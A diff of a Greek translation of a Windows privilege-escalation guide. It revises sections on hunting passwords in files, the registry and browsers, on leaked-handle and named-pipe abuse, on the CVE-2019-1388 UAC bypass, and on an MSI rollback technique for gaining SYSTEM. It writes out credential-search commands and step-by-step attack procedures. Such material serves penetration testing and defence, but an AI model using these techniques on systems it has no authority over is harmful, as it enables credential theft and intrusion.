https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1155,82 +1171,82 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### Διαπιστευτήρια στον Κάδο Ανακύκλωσης +### Διαπιστευτήρια στο RecycleBin -Πρέπει επίσης να ελέγξετε τον Κάδο για να αναζητήσετε διαπιστευτήρια μέσα σε αυτόν. +Πρέπει επίσης να ελέγξετε το Bin για διαπιστευτήρια μέσα σε αυτό -Για να **ανακτήσετε κωδικούς πρόσβασης** που έχουν αποθηκευτεί από διάφορα προγράμματα, μπορείτε να χρησιμοποιήσετε: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +Για να **ανακτήσετε κωδικούς** που έχουν αποθηκευτεί από διάφορα προγράμματα μπορείτε να χρησιμοποιήσετε: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### Μέσα στη μητρώο +### Μέσα στο μητρώο -**Άλλες πιθανές κλειδαριές μητρώου με διαπιστευτήρια** +**Άλλα πιθανά κλειδιά μητρώου με διαπιστευτήρια** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s reg query "HKCU\Software\TightVNC\Server" reg query "HKCU\Software\OpenSSH\Agent\Key" ``` -[**Εξαγωγή κλειδιών openssh από το μητρώο.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +[**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -### Ιστορικό Περιηγητών +### Ιστορικό Browsers -Πρέπει να ελέγξετε για βάσεις δεδομένων όπου αποθηκεύονται οι κωδικοί πρόσβασης από **Chrome ή Firefox**.\ -Επίσης, ελέγξτε την ιστορία, τα σελιδοδείκτες και τα αγαπημένα των περιηγητών ώστε ίσως να υπάρχουν αποθηκευμένοι κάποιοι **κωδικοί πρόσβασης** εκεί. +Πρέπει να ελέγξετε για dbs όπου αποθηκεύονται τα **passwords** από **Chrome or Firefox**.\ +Επίσης ελέγξτε το ιστορικό, τα bookmarks και τα favourites των browsers, καθώς ίσως κάποια **passwords** να είναι αποθηκευμένα εκεί. -Εργαλεία για την εξαγωγή κωδικών πρόσβασης από περιηγητές: +Tools to extract passwords from browsers: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) - [**SharpChromium**](https://github.com/djhohnstein/SharpChromium) - [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) -### **Επικαλύψεις COM DLL** +### **COM DLL Overwriting** -**Το Component Object Model (COM)** είναι μια τεχνολογία που έχει ενσωματωθεί στο λειτουργικό σύστημα Windows και επιτρέπει την **διασύνδεση** μεταξύ λογισμικών στοιχείων διαφορετικών γλωσσών. Κάθε στοιχείο COM **αναγνωρίζεται μέσω ενός ID κλάσης (CLSID)** και κάθε στοιχείο εκθέτει λειτουργικότητα μέσω ενός ή περισσότερων διεπαφών, που αναγνωρίζονται μέσω ID διεπαφών (IIDs). +**Component Object Model (COM)** είναι μια τεχνολογία ενσωματωμένη στο λειτουργικό σύστημα Windows που επιτρέπει την **διαεπικοινωνία** μεταξύ συστατικών λογισμικού σε διαφορετικές γλώσσες. Κάθε COM component είναι **προσδιορισμένο μέσω ενός class ID (CLSID)** και κάθε component εκθέτει λειτουργίες μέσω μίας ή περισσότερων διεπαφών, προσδιοριζόμενων με interface IDs (IIDs). -Οι κλάσεις και οι διεπαφές COM ορίζονται στο μητρώο κάτω από **HKEY\CLASSES\ROOT\CLSID** και **HKEY\CLASSES\ROOT\Interface** αντίστοιχα. Αυτό το μητρώο δημιουργείται συγχωνεύοντας το **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** +COM classes and interfaces are defined in the registry under **HKEY\CLASSES\ROOT\CLSID** and **HKEY\CLASSES\ROOT\Interface** respectively. This registry is created by merging the **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Μέσα στα CLSIDs αυτού του μητρώου μπορείτε να βρείτε το υποκατάστημα μητρώου **InProcServer32** που περιέχει μια **προεπιλεγμένη τιμή** που δείχνει σε μια **DLL** και μια τιμή που ονομάζεται **ThreadingModel** που μπορεί να είναι **Apartment** (Μονονηματική), **Free** (Πολυνηματική), **Both** (Μονοή Πολυ) ή **Neutral** (Ουδέτερη Νήμα). +Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (μονής νήματος), **Free** (πολυνηματικό), **Both** (μονής ή πολυνηματικό) or **Neutral** (ουδέτερο ως προς τα νήματα). ![](<../../images/image (729).png>) -Βασικά, αν μπορείτε να **επικαλύψετε οποιαδήποτε από τις DLLs** που πρόκειται να εκτελούνται, θα μπορούσατε να **κλιμακώσετε τα δικαιώματα** αν αυτή η DLL πρόκειται να εκτελεστεί από διαφορετικό χρήστη. +Βασικά, αν μπορείτε να **overwrite any of the DLLs** που πρόκειται να εκτελεστούν, θα μπορούσατε να **escalate privileges** αν αυτό το DLL εκτελεστεί από διαφορετικό χρήστη. -Για να μάθετε πώς οι επιτιθέμενοι χρησιμοποιούν το COM Hijacking ως μηχανισμό επιμονής, ελέγξτε: +To learn how attackers use COM Hijacking as a persistence mechanism check: {{#ref}} com-hijacking.md {{#endref}} -### **Γενική αναζήτηση κωδικών πρόσβασης σε αρχεία και μητρώο** +### **Γενική αναζήτηση Password σε αρχεία και registry** -**Αναζητήστε περιεχόμενα αρχείων** +**Αναζήτηση περιεχομένου αρχείων** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**Αναζητήστε ένα αρχείο με συγκεκριμένο όνομα αρχείου** +**Αναζήτηση αρχείου με συγκεκριμένο όνομα** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**Αναζητήστε τη μητρώο για ονόματα κλειδιών και κωδικούς πρόσβασης** +**Αναζήτηση στο registry για key names και passwords** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### Εργαλεία που αναζητούν κωδικούς πρόσβασης +### Εργαλεία που αναζητούν passwords -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **είναι ένα msf** plugin που έχω δημιουργήσει αυτό το plugin για να **εκτελεί αυτόματα κάθε metasploit POST module που αναζητά κωδικούς πρόσβασης** μέσα στον θύμα.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) αναζητά αυτόματα όλα τα αρχεία που περιέχουν κωδικούς πρόσβασης που αναφέρονται σε αυτή τη σελίδα.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) είναι ένα άλλο εξαιρετικό εργαλείο για την εξαγωγή κωδικών πρόσβασης από ένα σύστημα. +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **είναι ένα msf** plugin. Δημιούργησα αυτό το plugin για να **εκτελεί αυτόματα κάθε metasploit POST module που αναζητά credentials** μέσα στο θύμα.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) αναζητά αυτόματα όλα τα αρχεία που περιέχουν passwords που αναφέρονται σε αυτή τη σελίδα.\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) είναι ένα ακόμη εξαιρετικό εργαλείο για την εξαγωγή passwords από ένα σύστημα. -Το εργαλείο [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) αναζητά **συνεδρίες**, **ονόματα χρηστών** και **κωδικούς πρόσβασης** διαφόρων εργαλείων που αποθηκεύουν αυτά τα δεδομένα σε καθαρό κείμενο (PuTTY, WinSCP, FileZilla, SuperPuTTY, και RDP) +Το εργαλείο [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) αναζητά **sessions**, **usernames** και **passwords** από διάφορα εργαλεία που αποθηκεύουν αυτά τα δεδομένα σε απλό κείμενο (PuTTY, WinSCP, FileZilla, SuperPuTTY και RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1239,30 +1255,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Φανταστείτε ότι **μια διαδικασία που εκτελείται ως SYSTEM ανοίγει μια νέα διαδικασία** (`OpenProcess()`) με **πλήρη πρόσβαση**. Η ίδια διαδικασία **δημιουργεί επίσης μια νέα διαδικασία** (`CreateProcess()`) **με χαμηλά δικαιώματα αλλά κληρονομεί όλα τα ανοιχτά handles της κύριας διαδικασίας**.\ -Έτσι, αν έχετε **πλήρη πρόσβαση στη διαδικασία με χαμηλά δικαιώματα**, μπορείτε να αποκτήσετε το **ανοιχτό handle της διαδικασίας με δικαιώματα που δημιουργήθηκε** με `OpenProcess()` και **να εισάγετε ένα shellcode**.\ -[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ -[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +Φανταστείτε ότι **μια διεργασία που τρέχει ως SYSTEM ανοίγει μια νέα διεργασία** (`OpenProcess()`) με **πλήρη πρόσβαση**. Η ίδια διεργασία **δημιουργεί επίσης μια νέα διεργασία** (`CreateProcess()`) **με χαμηλά προνόμια αλλά κληρονομώντας όλα τα ανοιχτά handles της κύριας διεργασίας**.\ +Στη συνέχεια, εάν έχετε **πλήρη πρόσβαση στη διεργασία με χαμηλά προνόμια**, μπορείτε να αρπάξετε το **ανοιχτό handle προς τη δημιουργημένη διεργασία με προνόμια** μέσω του `OpenProcess()` και να **εισάγετε ένα shellcode**.\ +[Διαβάστε αυτό το παράδειγμα για περισσότερες πληροφορίες σχετικά με **το πώς να ανιχνεύσετε και να εκμεταλλευτείτε αυτή την ευπάθεια**.](leaked-handle-exploitation.md)\ +[Διαβάστε αυτό **το άλλο άρθρο για μια πιο πλήρη εξήγηση του πώς να δοκιμάσετε και να καταχραστείτε περισσότερα ανοιχτά handles διεργασιών και νημάτων που έχουν κληρονομηθεί με διαφορετικά επίπεδα δικαιωμάτων (όχι μόνο πλήρη πρόσβαση)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -Τα τμήματα κοινής μνήμης, που αναφέρονται ως **pipes**, επιτρέπουν την επικοινωνία και τη μεταφορά δεδομένων μεταξύ διαδικασιών. +Τμήματα κοινής μνήμης, γνωστά ως **pipes**, επιτρέπουν την επικοινωνία μεταξύ διεργασιών και τη μεταφορά δεδομένων. -Τα Windows παρέχουν μια δυνατότητα που ονομάζεται **Named Pipes**, επιτρέποντας σε άσχετες διαδικασίες να μοιράζονται δεδομένα, ακόμη και μέσω διαφορετικών δικτύων. Αυτό μοιάζει με μια αρχιτεκτονική πελάτη/διακομιστή, με ρόλους που ορίζονται ως **named pipe server** και **named pipe client**. +Τα Windows παρέχουν μια δυνατότητα που ονομάζεται **Named Pipes**, επιτρέποντας σε μη σχετιζόμενες διεργασίες να μοιράζονται δεδομένα, ακόμα και μέσω διαφορετικών δικτύων. Αυτό μοιάζει με αρχιτεκτονική client/server, με ρόλους ορισμένους ως **named pipe server** και **named pipe client**. -Όταν δεδομένα αποστέλλονται μέσω ενός pipe από έναν **πελάτη**, ο **διακομιστής** που έχει ρυθμίσει το pipe έχει τη δυνατότητα να **αναλάβει την ταυτότητα** του **πελάτη**, εφόσον έχει τα απαραίτητα δικαιώματα **SeImpersonate**. Η αναγνώριση μιας **προνομιούχου διαδικασίας** που επικοινωνεί μέσω ενός pipe που μπορείτε να μιμηθείτε παρέχει μια ευκαιρία να **κερδίσετε υψηλότερα δικαιώματα** υιοθετώντας την ταυτότητα αυτής της διαδικασίας μόλις αλληλεπιδράσει με το pipe που έχετε δημιουργήσει. Για οδηγίες σχετικά με την εκτέλεση μιας τέτοιας επίθεσης, μπορείτε να βρείτε χρήσιμες οδηγίες [**here**](named-pipe-client-impersonation.md) και [**here**](#from-high-integrity-to-system). +Όταν δεδομένα αποστέλλονται μέσω ενός pipe από έναν **client**, ο **server** που έχει ρυθμίσει το pipe έχει τη δυνατότητα να **αναλάβει την ταυτότητα** του **client**, υποθέτοντας ότι έχει τα απαραίτητα δικαιώματα **SeImpersonate**. Εντοπίζοντας μια **διεργασία με προνόμια** που επικοινωνεί μέσω ενός pipe που μπορείτε να μιμηθείτε δίνει την ευκαιρία να **αποκτήσετε υψηλότερα προνόμια** υιοθετώντας την ταυτότητα αυτής της διεργασίας όταν αλληλεπιδρά με το pipe που δημιουργήσατε. Για οδηγίες εκτέλεσης μιας τέτοιας επίθεσης, χρήσιμοι οδηγοί υπάρχουν [**εδώ**](named-pipe-client-impersonation.md) και [**εδώ**](#from-high-integrity-to-system). -Επίσης, το παρακάτω εργαλείο επιτρέπει να **παρακολουθείτε μια επικοινωνία named pipe με ένα εργαλείο όπως το burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **και αυτό το εργαλείο επιτρέπει να καταγράφετε και να βλέπετε όλα τα pipes για να βρείτε privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Επιπλέον, το ακόλουθο εργαλείο επιτρέπει να **παρεμβάλετε την επικοινωνία ενός named pipe με ένα εργαλείο όπως το burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **και αυτό το εργαλείο επιτρέπει να εμφανίσετε και να δείτε όλα τα pipes για να βρείτε privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Misc +## Διαφορα -### File Extensions that could execute stuff in Windows +### Επεκτάσεις αρχείων που μπορούν να εκτελέσουν κώδικα στα Windows -Check out the page **[https://filesec.io/](https://filesec.io/)** +Δείτε τη σελίδα **[https://filesec.io/](https://filesec.io/)** -### **Monitoring Command Lines for passwords** +### **Παρακολούθηση των γραμμών εντολών για κωδικούς πρόσβασης** -Όταν αποκτάτε ένα shell ως χρήστης, μπορεί να υπάρχουν προγραμματισμένα καθήκοντα ή άλλες διαδικασίες που εκτελούνται και **περνούν διαπιστευτήρια στη γραμμή εντολών**. Το παρακάτω σενάριο καταγράφει τις γραμμές εντολών διαδικασίας κάθε δύο δευτερόλεπτα και συγκρίνει την τρέχουσα κατάσταση με την προηγούμενη κατάσταση, εξάγοντας τυχόν διαφορές. +Όταν αποκτάτε ένα shell ως χρήστης, μπορεί να υπάρχουν προγραμματισμένες εργασίες ή άλλες διεργασίες που εκτελούνται και **περνούν διαπιστευτήρια στη γραμμή εντολών**. Το παρακάτω script καταγράφει τις γραμμές εντολών των διεργασιών κάθε δύο δευτερόλεπτα και συγκρίνει την τρέχουσα κατάσταση με την προηγούμενη, εμφανίζοντας οποιεσδήποτε διαφορές. ```bash while($true) { @@ -1272,15 +1288,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## Κλοπή κωδικών πρόσβασης από διεργασίες +## Κλοπή κωδικών από διεργασίες -## Από Χαμηλό Προνομιακό Χρήστη σε NT\AUTHORITY SYSTEM (CVE-2019-1388) / Παράκαμψη UAC +## Από Low Priv User σε NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -Εάν έχετε πρόσβαση στη γραφική διεπαφή (μέσω κονσόλας ή RDP) και η UAC είναι ενεργοποιημένη, σε ορισμένες εκδόσεις των Microsoft Windows είναι δυνατή η εκτέλεση ενός τερματικού ή οποιασδήποτε άλλης διεργασίας όπως "NT\AUTHORITY SYSTEM" από έναν μη προνομιακό χρήστη. +Εάν έχετε πρόσβαση στο γραφικό περιβάλλον (μέσω console ή RDP) και το UAC είναι ενεργοποιημένο, σε ορισμένες εκδόσεις του Microsoft Windows είναι δυνατό να εκτελέσετε ένα terminal ή οποιαδήποτε άλλη διεργασία όπως το "NT\AUTHORITY SYSTEM" από έναν μη προνομιούχο χρήστη. -Αυτό καθιστά δυνατή την κλιμάκωση προνομίων και την παράκαμψη της UAC ταυτόχρονα με την ίδια ευπάθεια. Επιπλέον, δεν χρειάζεται να εγκαταστήσετε τίποτα και το δυαδικό αρχείο που χρησιμοποιείται κατά τη διάρκεια της διαδικασίας είναι υπογεγραμμένο και εκδοθέν από τη Microsoft. +Αυτό καθιστά δυνατή την κλιμάκωση προνομίων και την παράκαμψη του UAC ταυτόχρονα με την ίδια ευπάθεια. Επιπλέον, δεν υπάρχει ανάγκη εγκατάστασης οτιδήποτε και το binary που χρησιμοποιείται κατά τη διαδικασία είναι υπογεγραμμένο και εκδομένο από τη Microsoft. -Ορισμένα από τα επηρεαζόμενα συστήματα είναι τα εξής: +Μερικά από τα επηρεαζόμενα συστήματα είναι τα εξής: ``` SERVER ====== @@ -1302,7 +1318,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -Για να εκμεταλλευτείτε αυτήν την ευπάθεια, είναι απαραίτητο να εκτελέσετε τα εξής βήματα: +Για να εκμεταλλευτείτε αυτήν την ευπάθεια, είναι απαραίτητο να εκτελέσετε τα ακόλουθα βήματα: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1320,280 +1336,277 @@ Windows 10 1709 16299 link NOT opened 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -Έχετε όλα τα απαραίτητα αρχεία και πληροφορίες στο παρακάτω αποθετήριο GitHub: +## Από Administrator Medium to High Integrity Level / UAC Bypass -https://github.com/jas502n/CVE-2019-1388 - -## Από το Medium σε High Integrity Level / UAC Bypass - -Διαβάστε αυτό για να **μάθετε για τα Integrity Levels**: +Διάβασε αυτό για να **μάθεις για τα Integrity Levels**: {{#ref}} integrity-levels.md {{#endref}} -Στη συνέχεια, **διαβάστε αυτό για να μάθετε για το UAC και τα UAC bypasses:** +Έπειτα **διάβασε αυτό για να μάθεις για το UAC και τα UAC bypasses:** {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## Από Arbitrary Folder Delete/Move/Rename σε SYSTEM EoP +## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP -Η τεχνική που περιγράφεται [**σε αυτή την ανάρτηση blog**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) με κώδικα εκμετάλλευσης [**διαθέσιμο εδώ**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +Η τεχνική που περιγράφεται [**σε αυτό το blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) με κώδικα exploit [**διαθέσιμο εδώ**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -Η επίθεση βασικά συνίσταται στην εκμετάλλευση της δυνατότητας rollback του Windows Installer για να αντικαταστήσει νόμιμα αρχεία με κακόβουλα κατά τη διάρκεια της διαδικασίας απεγκατάστασης. Για αυτό, ο επιτιθέμενος πρέπει να δημιουργήσει έναν **κακόβουλο MSI installer** που θα χρησιμοποιηθεί για να καταλάβει τον φάκελο `C:\Config.Msi`, ο οποίος θα χρησιμοποιηθεί αργότερα από τον Windows Installer για να αποθηκεύσει αρχεία rollback κατά την απεγκατάσταση άλλων πακέτων MSI όπου τα αρχεία rollback θα είχαν τροποποιηθεί για να περιέχουν το κακόβουλο payload. +Η επίθεση ουσιαστικά συνίσταται στην κατάχρηση της rollback λειτουργίας του Windows Installer για να αντικαταστήσει νόμιμα αρχεία με κακόβουλα κατά τη διάρκεια της διαδικασίας απεγκατάστασης. Για αυτό ο attacker χρειάζεται να δημιουργήσει ένα **κακόβουλο MSI installer** που θα χρησιμοποιηθεί για να καταλάβει το φάκελο `C:\Config.Msi`, ο οποίος αργότερα θα χρησιμοποιηθεί από τον Windows Installer για να αποθηκεύσει rollback αρχεία κατά την απεγκατάσταση άλλων MSI πακέτων όπου τα αρχεία rollback θα έχουν τροποποιηθεί ώστε να περιέχουν το κακόβουλο payload. Η συνοπτική τεχνική είναι η εξής: -1. **Stage 1 – Προετοιμασία για την Κατάληψη (αφήστε το `C:\Config.Msi` κενό)** +1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** -- Βήμα 1: Εγκαταστήστε το MSI -- Δημιουργήστε ένα `.msi` που εγκαθιστά ένα αβλαβές αρχείο (π.χ., `dummy.txt`) σε έναν εγγράψιμο φάκελο (`TARGETDIR`). -- Σημειώστε τον εγκαταστάτη ως **"UAC Compliant"**, ώστε ένας **μη διαχειριστής χρήστης** να μπορεί να το εκτελέσει. -- Κρατήστε ένα **handle** ανοιχτό στο αρχείο μετά την εγκατάσταση. +- Step 1: Install the MSI +- Δημιούργησε ένα `.msi` που εγκαθιστά ένα αβλαβές αρχείο (π.χ. `dummy.txt`) σε έναν εγγράψιμο φάκελο (`TARGETDIR`). +- Σήμαννε τον installer ως **"UAC Compliant"**, ώστε ένας **non-admin user** να μπορεί να τον τρέξει. +- Κράτησε ένα **handle** ανοιχτό στο αρχείο μετά την εγκατάσταση. -- Βήμα 2: Ξεκινήστε την Απεγκατάσταση -- Απεγκαταστήστε το ίδιο `.msi`. -- Η διαδικασία απεγκατάστασης αρχίζει να μετακινεί αρχεία στο `C:\Config.Msi` και να τα μετονομάζει σε αρχεία `.rbf` (rollback backups). -- **Poll the open file handle** χρησιμοποιώντας `GetFinalPathNameByHandle` για να ανιχνεύσετε πότε το αρχείο γίνεται `C:\Config.Msi\.rbf`. +- Step 2: Begin Uninstall +- Απεγκατέστησε το ίδιο `.msi`. +- Η διαδικασία απεγκατάστασης αρχίζει να μετακινεί αρχεία στο `C:\Config.Msi` και να τα μετονομάζει σε `.rbf` αρχεία (rollback backups). +- **Πολάρισε το ανοιχτό file handle** χρησιμοποιώντας `GetFinalPathNameByHandle` για να εντοπίσεις πότε το αρχείο γίνεται `C:\Config.Msi\.rbf`. -- Βήμα 3: Προσαρμοσμένος Συγχρονισμός -- Το `.msi` περιλαμβάνει μια **προσαρμοσμένη ενέργεια απεγκατάστασης (`SyncOnRbfWritten`)** που: -- Σηματοδοτεί πότε το `.rbf` έχει γραφτεί. -- Στη συνέχεια **περιμένει** σε ένα άλλο γεγονός πριν συνεχίσει την απεγκατάσταση. +- Step 3: Custom Syncing +- Το `.msi` περιλαμβάνει μια **custom uninstall action (`SyncOnRbfWritten`)** που: +- Σηματοδοτεί πότε έχει γραφτεί το `.rbf`. +- Έπειτα **περιμένει** σε ένα άλλο event πριν συνεχίσει την απεγκατάσταση. -- Βήμα 4: Αποκλεισμός Διαγραφής του `.rbf` -- Όταν σηματοδοτηθεί, **ανοίξτε το αρχείο `.rbf`** χωρίς `FILE_SHARE_DELETE` — αυτό **αποτρέπει τη διαγραφή του**. -- Στη συνέχεια **σηματοδοτήστε πίσω** ώστε η απεγκατάσταση να μπορεί να ολοκληρωθεί. -- Ο Windows Installer αποτυγχάνει να διαγράψει το `.rbf`, και επειδή δεν μπορεί να διαγράψει όλα τα περιεχόμενα, **το `C:\Config.Msi` δεν αφαιρείται**. +- Step 4: Block Deletion of `.rbf` +- Όταν ληφθεί το σήμα, **άνοιξε το `.rbf` αρχείο** χωρίς `FILE_SHARE_DELETE` — αυτό **εμποδίζει τη διαγραφή του**. +- Έπειτα **σήμανε πίσω** ώστε η απεγκατάσταση να ολοκληρωθεί. +- Ο Windows Installer δεν μπορεί να διαγράψει το `.rbf`, και επειδή δεν μπορεί να διαγράψει όλο το περιεχόμενο, **το `C:\Config.Msi` δεν αφαιρείται**. -- Βήμα 5: Διαγράψτε το `.rbf` Χειροκίνητα -- Εσείς (επιτιθέμενος) διαγράφετε το αρχείο `.rbf` χειροκίνητα. +- Step 5: Manually Delete `.rbf` +- Εσύ (attacker) διαγράφεις το `.rbf` χειροκίνητα. - Τώρα **το `C:\Config.Msi` είναι κενό**, έτοιμο να καταληφθεί. -> Σε αυτό το σημείο, **ενεργοποιήστε την ευπάθεια διαγραφής αυθαίρετου φακέλου σε επίπεδο SYSTEM** για να διαγράψετε το `C:\Config.Msi`. +> Σε αυτό το σημείο, **trigger the SYSTEM-level arbitrary folder delete vulnerability** για να διαγράψεις το `C:\Config.Msi`. -2. **Stage 2 – Αντικατάσταση Rollback Scripts με Κακόβουλα** +2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** -- Βήμα 6: Αναδημιουργία του `C:\Config.Msi` με Αδύνατα ACLs -- Αναδημιουργήστε τον φάκελο `C:\Config.Msi` μόνοι σας. -- Ορίστε **αδύνατα DACLs** (π.χ., Everyone:F), και **κρατήστε ένα handle ανοιχτό** με `WRITE_DAC`. +- Step 6: Recreate `C:\Config.Msi` with Weak ACLs +- Επανε δημιούργησε τον φάκελο `C:\Config.Msi` ο ίδιος. +- Θέσε **weak DACLs** (π.χ., Everyone:F), και **κράτησε ένα handle ανοιχτό** με `WRITE_DAC`. -- Βήμα 7: Εκτελέστε Μια Άλλη Εγκατάσταση -- Εγκαταστήστε ξανά το `.msi`, με: -- `TARGETDIR`: Εγγράψιμη τοποθεσία. -- `ERROROUT`: Μια μεταβλητή που ενεργοποιεί μια αναγκαστική αποτυχία. -- Αυτή η εγκατάσταση θα χρησιμοποιηθεί για να ενεργοποιήσει ξανά το **rollback**, το οποίο διαβάζει `.rbs` και `.rbf`. +- Step 7: Run Another Install +- Εγκατέστησε το `.msi` ξανά, με: +- `TARGETDIR`: Writable location. +- `ERROROUT`: Μια μεταβλητή που προκαλεί εξαναγκασμένη αποτυχία. +- Αυτή η εγκατάσταση θα χρησιμοποιηθεί για να ενεργοποιήσει ξανά το **rollback**, που διαβάζει `.rbs` και `.rbf`. -- Βήμα 8: Παρακολουθήστε για `.rbs` -- Χρησιμοποιήστε `ReadDirectoryChangesW` για να παρακολουθήσετε το `C:\Config.Msi` μέχρι να εμφανιστεί ένα νέο `.rbs`. -- Καταγράψτε το όνομα αρχείου του. +- Step 8: Monitor for `.rbs` +- Χρησιμοποίησε `ReadDirectoryChangesW` για να παρακολουθείς το `C:\Config.Msi` μέχρι να εμφανιστεί ένα νέο `.rbs`. +- Κατέγραψε το όνομα του αρχείου. -- Βήμα 9: Συγχρονισμός Πριν το Rollback -- Το `.msi` περιέχει μια **προσαρμοσμένη ενέργεια εγκατάστασης (`SyncBeforeRollback`)** που: -- Σηματοδοτεί ένα γεγονός όταν το `.rbs` δημιουργείται. -- Στη συνέχεια **περιμένει** πριν συνεχίσει. +- Step 9: Sync Before Rollback +- Το `.msi` περιέχει μια **custom install action (`SyncBeforeRollback`)** που: +- Σηματοδοτεί ένα event όταν δημιουργηθεί το `.rbs`. +- Έπειτα **περιμένει** πριν συνεχίσει. -- Βήμα 10: Επαναφορά Αδύνατου ACL -- Μετά την λήψη του γεγονότος `.rbs created`: -- Ο Windows Installer **επαναφέρει ισχυρά ACLs** στο `C:\Config.Msi`. -- Αλλά καθώς έχετε ακόμα ένα handle με `WRITE_DAC`, μπορείτε να **επαναφέρετε αδύνατα ACLs** ξανά. +- Step 10: Reapply Weak ACL +- Μετά τη λήψη του `'.rbs created'` event: +- Ο Windows Installer **επανεφαρμόζει strong ACLs** στο `C:\Config.Msi`. +- Αλλά επειδή εξακολουθείς να έχεις ένα handle με `WRITE_DAC`, μπορείς **να επανεφαρμόσεις weak ACLs** ξανά. -> Τα ACLs **επιβάλλονται μόνο κατά το άνοιγμα του handle**, οπότε μπορείτε ακόμα να γράψετε στον φάκελο. +> Οι ACLs εφαρμόζονται **μόνο στο άνοιγμα του handle**, οπότε μπορείς ακόμα να γράψεις στον φάκελο. -- Βήμα 11: Ρίξτε Ψεύτικο `.rbs` και `.rbf` -- Επικαλύψτε το αρχείο `.rbs` με ένα **ψεύτικο rollback script** που λέει στα Windows να: -- Επαναφέρει το αρχείο `.rbf` σας (κακόβουλο DLL) σε μια **προνομιούχα τοποθεσία** (π.χ., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Ρίξτε το ψεύτικο `.rbf` σας που περιέχει ένα **κακόβουλο payload DLL σε επίπεδο SYSTEM**. +- Step 11: Drop Fake `.rbs` and `.rbf` +- Επικάλυψε το `.rbs` αρχείο με ένα **fake rollback script** που λέει στον Windows να: +- Επαναφέρει το `.rbf` σου (malicious DLL) σε μια **privileged location** (π.χ., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Αποθέτει το fake `.rbf` που περιέχει ένα **malicious SYSTEM-level payload DLL**. -- Βήμα 12: Ενεργοποιήστε το Rollback -- Σηματοδοτήστε το γεγονός συγχρονισμού ώστε ο εγκαταστάτης να συνεχίσει. 